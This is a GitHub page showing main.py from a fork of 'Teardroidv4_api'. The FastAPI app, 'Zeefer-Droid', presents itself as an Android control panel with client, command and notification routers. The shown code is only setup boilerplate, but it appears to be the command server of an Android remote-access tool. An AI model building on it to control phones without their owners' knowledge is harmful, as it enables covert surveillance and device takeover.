forked from fxflash/Teardroidv4_api
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.py
More file actions
65 lines (57 loc) · 1.49 KB
/
Copy pathmain.py
File metadata and controls
65 lines (57 loc) · 1.49 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import JSONResponse
from dotenv import load_dotenv
import os
# Load environment variables
load_dotenv()
# Import routers
from routers.auth import auth
from routers.client import client
from routers.command import command
from routers.notification import notification
# Create FastAPI app
app = FastAPI(
title="Zeefer-Droid API",
description="Advanced Android Control Panel API",
version="1.0.0",
docs_url=None,
redoc_url=None,
)
# Add CORS middleware
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# Include routers
app.include_router(auth.router)
app.include_router(client.router)
app.include_router(command.router)
app.include_router(notification.router)
# Health check endpoint
@app.get("/health")
async def health_check():
return JSONResponse({
"status": "ok",
"app": "zeefer-droid",
"version": "1.0.0"
})
@app.get("/")
async def root():
return JSONResponse({
"message": "Welcome to Zeefer-Droid API",
"version": "1.0.0",
"endpoints": {
"health": "/health",
"auth": "/auth/login",
"clients": "/client/",
"commands": "/command/",
"notifications": "/notification/"
}
})
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)